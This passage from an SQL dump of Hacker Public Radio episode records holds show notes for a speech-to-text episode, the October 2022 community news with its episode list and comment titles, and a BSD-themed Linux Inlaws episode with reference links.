duckduckgo',0,0,1),
(3446,'2021-10-18','Speech To Text',1378,'I talk about converting HPR audio to text and tagging','<ul>\r\n<li><p>speech recognition</p></li>\r\n<li><p>machine_learning (ML)</p></li>\r\n<li><p>artificial_intelligence (AI)</p></li>\r\n<li><p>speech_recognition</p></li>\r\n<li><p>Natural Language Processing (NLP)</p></li>\r\n<li><p><a href=\"https://rmccurdy.com/stuff/NLP/\" class=\"uri\">https://rmccurdy.com/stuff/NLP/</a> ( example files )</p></li>\r\n<li><p>Some higher maf here that is above my head for now ...<br />\r\n<a href=\"https://towardsdatascience.com/using-keyword-extraction-for-unsupervised-text-classification-in-nlp-10433a1c0cf9\" class=\"uri\">https://towardsdatascience.com/using-keyword-extraction-for-unsupervised-text-classification-in-nlp-10433a1c0cf9</a></p></li>\r\n<li><p><a href=\"https://www.interviewquery.com/blog-keyword-extraction/\" class=\"uri\">https://www.interviewquery.com/blog-keyword-extraction/</a></p></li>\r\n</ul>\r\n',36,0,0,'CC-BY-SA','AI,ML,scripting,audio',0,0,1),
(3721,'2022-11-07','HPR Community News for October 2022',3248,'HPR Volunteers talk about shows released and comments posted in October 2022','<style>\ntable td.shrink {\n white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n <a href=\"https://hackerpublicradio.org/correspondents/0411.html\" target=\"_blank\">Paul J</a>, \n <a href=\"https://hackerpublicradio.org/correspondents/0412.html\" target=\"_blank\">m0dese7en</a>, \n <a href=\"https://hackerpublicradio.org/correspondents/0413.html\" target=\"_blank\">CCHits.net Team</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3696\" target=\"_blank\">3696</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-10-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3696\" target=\"_blank\">HPR Community News for September 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3697\" target=\"_blank\">3697</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-10-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3697\" target=\"_blank\">Mis-information, Dis-information, and Fake News. You are a product and target for all of it.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0405.html\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3698\" target=\"_blank\">3698</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-10-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3698\" target=\"_blank\">Spectrogram</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3699\" target=\"_blank\">3699</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-10-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3699\" target=\"_blank\">Old and new videogames/board games with guest binrc</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0407.html\" target=\"_blank\">Celeste</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3700\" target=\"_blank\">3700</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-10-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3700\" target=\"_blank\">Introduction to Batch Files</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3701\" target=\"_blank\">3701</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-10-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3701\" target=\"_blank\">ReiserFS - the file system of the future</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0411.html\" target=\"_blank\">Paul J</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3702\" target=\"_blank\">3702</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-10-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3702\" target=\"_blank\">Easter Ogg</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3703\" target=\"_blank\">3703</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-10-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3703\" target=\"_blank\">McCurdy House Tour</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3704\" target=\"_blank\">3704</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-10-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3704\" target=\"_blank\">Follow up to hpr3685 :: Budget and an Android app</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0318.html\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3705\" target=\"_blank\">3705</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-10-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3705\" target=\"_blank\">The Year of the FreeBSD Desktop</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0406.html\" target=\"_blank\">binrc</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3706\" target=\"_blank\">3706</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-10-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3706\" target=\"_blank\">The Future of Technology</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0405.html\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3707\" target=\"_blank\">3707</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-10-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3707\" target=\"_blank\">Recovering a Massive 3.5 HP Electric Motor from a Treadmill</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0401.html\" target=\"_blank\">Mechatroniac</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3708\" target=\"_blank\">3708</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-10-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3708\" target=\"_blank\">Insomnia as a Hobby</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0389.html\" target=\"_blank\">TrumpetJohn</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3709\" target=\"_blank\">3709</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-10-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3709\" target=\"_blank\">Relationships to games and console generations</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0412.html\" target=\"_blank\">m0dese7en</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3710\" target=\"_blank\">3710</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-10-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3710\" target=\"_blank\">Changing Plans Again</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3711\" target=\"_blank\">3711</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-10-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3711\" target=\"_blank\">Cars</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0377.html\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3712\" target=\"_blank\">3712</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-10-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3712\" target=\"_blank\">The last ever CCHits.net Show</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0413.html\" target=\"_blank\">CCHits.net Team</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3713\" target=\"_blank\">3713</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-10-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3713\" target=\"_blank\">Bash snippet - short-circuit evaluation in Bash Boolean expressions</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3714\" target=\"_blank\">3714</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-10-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3714\" target=\"_blank\">The News with Some Guy On the Internet</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3715\" target=\"_blank\">3715</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-10-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3715\" target=\"_blank\">Secret hat conversations, Part 2.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3716\" target=\"_blank\">3716</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-10-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3716\" target=\"_blank\">How I got in to Tech</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0405.html\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 34 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 5 comments on\n3 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3693#comments\" target=\"_blank\">hpr3693</a></strong>\n(2022-09-28) \"<em>Fixing the automatic cutoff mechanism to an electric mower</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0293.html\" target=\"_blank\">Rho`n</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3693#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-10-27:\n\"Thank you.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3694#comments\" target=\"_blank\">hpr3694</a></strong>\n(2022-09-29) \"<em>Robo Tripping Ravelords of the Apocalypse</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0401.html\" target=\"_blank\">Mechatroniac</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3694#6\" target=\"_blank\">Comment 6</a>:\nSome Guy On The Internet on 2022-10-27:\n\"Please continue.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3695#comments\" target=\"_blank\">hpr3695</a></strong>\n(2022-09-30) \"<em>How I watch youtube with newsboat</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0406.html\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3695#2\" target=\"_blank\">Comment 2</a>:\nbinrc on 2022-10-01:\n\"RSS THE PLANET\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3695#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2022-10-03:\n\"Great show, but I have questions\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3695#4\" target=\"_blank\">Comment 4</a>:\nNate on 2022-10-20:\n\"use an invidious instance to get the channel id\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 29 comments on 14 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3697#comments\" target=\"_blank\">hpr3697</a></strong>\n(2022-10-04) \"<em>Mis-information, Dis-information, and Fake News. You are a product and target for all of it.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0405.html\" target=\"_blank\">Lurking Prion</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3697#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-10-27:\n\"Bravo, Bravo!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3698#comments\" target=\"_blank\">hpr3698</a></strong>\n(2022-10-05) \"<em>Spectrogram</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3698#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-10-27:\n\"I gave it a go.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3701#comments\" target=\"_blank\">hpr3701</a></strong>\n(2022-10-10) \"<em>ReiserFS - the file system of the future</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0411.html\" target=\"_blank\">Paul J</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3701#1\" target=\"_blank\">Comment 1</a>:\nwynaut on 2022-10-11:\n\"Very interesting\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3701#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2022-10-11:\n\"Great show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3701#3\" target=\"_blank\">Comment 3</a>:\nBeeza on 2022-10-11:\n\"Perfect First Show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3701#4\" target=\"_blank\">Comment 4</a>:\nWindigo on 2022-10-12:\n\"Excellent first episode!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3701#5\" target=\"_blank\">Comment 5</a>:\nbrian-in-ohio on 2022-10-13:\n\"great show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3702#comments\" target=\"_blank\">hpr3702</a></strong>\n(2022-10-11) \"<em>Easter Ogg</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3702#1\" target=\"_blank\">Comment 1</a>:\nKinghezy on 2022-10-12:\n\"Jerusalem\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3705#comments\" target=\"_blank\">hpr3705</a></strong>\n(2022-10-14) \"<em>The Year of the FreeBSD Desktop</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0406.html\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3705#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2022-10-18:\n\"Time running out on 2022\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3705#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2022-10-18:\n\"Great show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3706#comments\" target=\"_blank\">hpr3706</a></strong>\n(2022-10-17) \"<em>The Future of Technology</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0405.html\" target=\"_blank\">Lurking Prion</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3706#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-09-10:\n\"Wrong wrong wrong\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3706#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2022-10-18:\n\"Capitalism or technology\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3706#3\" target=\"_blank\">Comment 3</a>:\nWindigo on 2022-10-18:\n\"Relatable\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3707#comments\" target=\"_blank\">hpr3707</a></strong>\n(2022-10-18) \"<em>Recovering a Massive 3.5 HP Electric Motor from a Treadmill</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0401.html\" target=\"_blank\">Mechatroniac</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3707#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2022-10-18:\n\"gravity generator\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3707#2\" target=\"_blank\">Comment 2</a>:\nMechatroniac on 2022-10-23:\n\"electricity\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3707#3\" target=\"_blank\">Comment 3</a>:\nSome Guy On The Internet on 2022-10-27:\n\"Cool beans\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3708#comments\" target=\"_blank\">hpr3708</a></strong>\n(2022-10-19) \"<em>Insomnia as a Hobby</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0389.html\" target=\"_blank\">TrumpetJohn</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3708#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2022-10-22:\n\"Sleep with me\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3710#comments\" target=\"_blank\">hpr3710</a></strong>\n(2022-10-21) \"<em>Changing Plans Again</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3710#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2022-10-25:\n\"Travelling\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3710#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2022-10-25:\n\"You are most welcome\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3711#comments\" target=\"_blank\">hpr3711</a></strong>\n(2022-10-24) \"<em>Cars</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0377.html\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3711#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-10-27:\n\"Big Human = Big Vehicle\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3712#comments\" target=\"_blank\">hpr3712</a></strong>\n(2022-10-25) \"<em>The last ever CCHits.net Show</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0413.html\" target=\"_blank\">CCHits.net Team</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3712#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-10-27:\n\"I\'ve never heard of this site until now.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3712#2\" target=\"_blank\">Comment 2</a>:\nthelovebug on 2022-10-29:\n\"CCHits theme tune\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3713#comments\" target=\"_blank\">hpr3713</a></strong>\n(2022-10-26) \"<em>Bash snippet - short-circuit evaluation in Bash Boolean expressions</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3713#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-10-27:\n\"Great Show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3714#comments\" target=\"_blank\">hpr3714</a></strong>\n(2022-10-27) \"<em>The News with Some Guy On the Internet</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3714#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2022-10-27:\n\"Great Episode!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3714#2\" target=\"_blank\">Comment 2</a>:\nZen_floater2 on 2022-10-27:\n\"OH NO!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3714#3\" target=\"_blank\">Comment 3</a>:\ndnt on 2022-10-28:\n\"This just in:\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3714#4\" target=\"_blank\">Comment 4</a>:\nKevin O&#39;Brien on 2022-10-29:\n\"Wonderful!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3715#comments\" target=\"_blank\">hpr3715</a></strong>\n(2022-10-28) \"<em>Secret hat conversations, Part 2.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3715#1\" target=\"_blank\">Comment 1</a>:\nThe hacker formerly known as b-yeezi on 2022-10-29:\n\"Tin foil hat engaged\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3715#2\" target=\"_blank\">Comment 2</a>:\none_of_spoons on 2022-10-31:\n\"Protonmail shopping for law enforcement.\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-October/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-October/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"older-hpr-shows-on-archive.org-phase-2\">Older HPR shows on\narchive.org, phase 2</h3>\n<p>Now that all shows from number 1 to the latest have been uploaded to\nthe Internet Archive there are other tasks to perform. We are\nreprocessing and re-uploading shows in the range 871 to 2429 as\nexplained in the Community News show notes released in <a\nhref=\"http://hackerpublicradio.org/eps.php?id=3586#older-hpr-shows-on-archive.org-phase-2\">May\n2022</a>. We are keeping a running total here to show progress:</p>\n<table>\n<tr>\n<th>\nMonth\n</th>\n<th>\nMonth count\n</th>\n<th>\nRunning total\n</th>\n<th>\nRemainder\n</th>\n</tr>\n<tr>\n<td>\n2022-04\n</td>\n<td>\n130\n</td>\n<td>\n130\n</td>\n<td>\n1428\n</td>\n</tr>\n<tr>\n<td>\n2022-05\n</td>\n<td>\n140\n</td>\n<td>\n270\n</td>\n<td>\n1288\n</td>\n</tr>\n<tr>\n<td>\n2022-06\n</td>\n<td>\n150\n</td>\n<td>\n420\n</td>\n<td>\n1138\n</td>\n</tr>\n<tr>\n<td>\n2022-07\n</td>\n<td>\n155\n</td>\n<td>\n575\n</td>\n<td>\n983\n</td>\n</tr>\n<tr>\n<td>\n2022-08\n</td>\n<td>\n155\n</td>\n<td>\n730\n</td>\n<td>\n828\n</td>\n</tr>\n<tr>\n<td>\n2022-09\n</td>\n<td>\n150\n</td>\n<td>\n880\n</td>\n<td>\n678\n</td>\n</tr>\n<tr>\n<td>\n2022-10\n</td>\n<td>\n155\n</td>\n<td>\n1035\n</td>\n<td>\n523\n</td>\n</tr>\n</table>\n\n<p><small><small>Updated: 2022-11-05 15:28:06</small></small></p>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3439,'2021-10-07','Linux Inlaws S01E40: The One with the BSDs',5834,'The other One Operating System to Rule them all','<p>In this episode, Martin and Chris host an eclectic panel of contributors to\r\nthe *other* major FLOSS operating system family - you guessed it: the\r\nflavours of the Berkeley Software Distribution (aka BSD among friends).\r\nDisclaimer: you may be tempted to diverge from the Path of the\r\nRighteousness also known as Linux and give this alternative a spin. So\r\nthis episode is *not* for the faint-hearted - listen at your own\r\ndiscretion! Also: the true defective nature of our beloved (?) hosts\' past\r\nwill be revealed - an episode not be missed despite the caveat! Plus\r\na refresher on spaced-out operating system concepts including library\r\noperating systems and a rant on Android and friends. In addition to some\r\ncool BSD trolling... </p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>OpenBSD: <a href=\"https://www.openbsd.org\" target=_blank>https://www.openbsd.org</a></li>\r\n<li>FeeBSD: <a href=\"https://www.freebsd.org\" target=_blank>https://www.freebsd.org</a></li>\r\n<li>NetBSD: <a href=\"https://www.netbsd.org\" target=_blank>https://www.netbsd.org</a></li>\r\n<li>DragonFlyBSD: <a href=\"https://www.dragonflybsd.org\" target=_blank>https://www.dragonflybsd.org</a></li>\r\n<li>386BSD: <a href=\"https://www.386bsd.org\" target=_blank>https://www.386bsd.org</a></li>\r\n<li>RUMP kernel: <a href=\"https://en.wikipedia.org/wiki/Rump_kernel\" target=_blank>https://en.wikipedia.org/wiki/Rump_kernel</a></li>\r\n<li>Library operating systems: <a href=\"https://www.sigarch.org/leave-your-os-at-home-the-rise-of-library-operating-systems\" target=_blank>https://www.sigarch.org/leave-your-os-at-home-the-rise-of-library-operating-systems</a></li>\r\n<li>Free BSD Linux Compatibility: <a href=\"https://docs.freebsd.org/en/books/handbook/linuxemu\" target=_blank>https://docs.freebsd.org/en/books/handbook/linuxemu</a></li>\r\n<li>BSD Jails (original paper): <a href=\"https://papers.freebsd.org/2000/phk-jails.files/sane2000-jail.pdf\" target=_blank>https://papers.freebsd.org/2000/phk-jails.files/sane2000-jail.pdf</a></li>\r\n<li>FeeBSD Ports: <a href=\"https://www.freebsd.org/ports\" target=_blank>https://www.freebsd.org/ports</a></li>\r\n<li>NetBSD pkgsrc: <a href=\"https://www.netbsd.org/docs/pkgsrc\" target=_blank>https://www.netbsd.org/docs/pkgsrc</a></li>\r\n<li>ZFS: <a href=\"https://en.wikipedia.org/wiki/ZFS\" target=_blank>https://en.wikipedia.org/wiki/ZFS</a></li>\r\n<li>BSD\'s pledge: <a href=\"https://unix.stackexchange.com/questions/410056/what-is-openbsds-pledge-in-short\" target=_blank>https://unix.stackexchange.com/questions/410056/what-is-openbsds-pledge-in-short</a></li>\r\n<li>FreeBSD and Netflix: <a href=\"https://papers.freebsd.org/2019/fosdem/looney-netflix_and_freebsd\" target=_blank>https://papers.freebsd.org/2019/fosdem/looney-netflix_and_freebsd</a></li>\r\n<li>BSD Firewalls: <a href=\"https://docs.freebsd.org/en/books/handbook/firewalls\" target=_blank>https://docs.freebsd.org/en/books/handbook/firewalls</a></li>\r\n<li>Michael W. Lucas\' \"Savaged by Systemd\": <a href=\"hhttps://www.goodreads.com/book/show/36190710-savaged-by-systemd\" target=_blank>hhttps://www.goodreads.com/book/show/36190710-savaged-by-systemd</a></li>\r\n<li>Linux vs. Minix: <a href=\"https://www.oreilly.com/openbook/opensources/book/appa.html\" target=_blank>https://www.oreilly.com/openbook/opensources/book/appa.html</a></li>\r\n<li>Pegasus spyware: <a href=\"https://en.wikipedia.org/wiki/Pegasus_(spyware)\" target=_blank>https://en.wikipedia.org/wiki/Pegasus_(spyware)</a></li>\r\n<li>BSD History presentation: <a href=\"https://www.youtube.com/watch?v=DEEr6dT-4uQ\" target=_blank>https://www.youtube.com/watch?v=DEEr6dT-4uQ</a></li>\r\n<li>The tragedy of systemd: <a 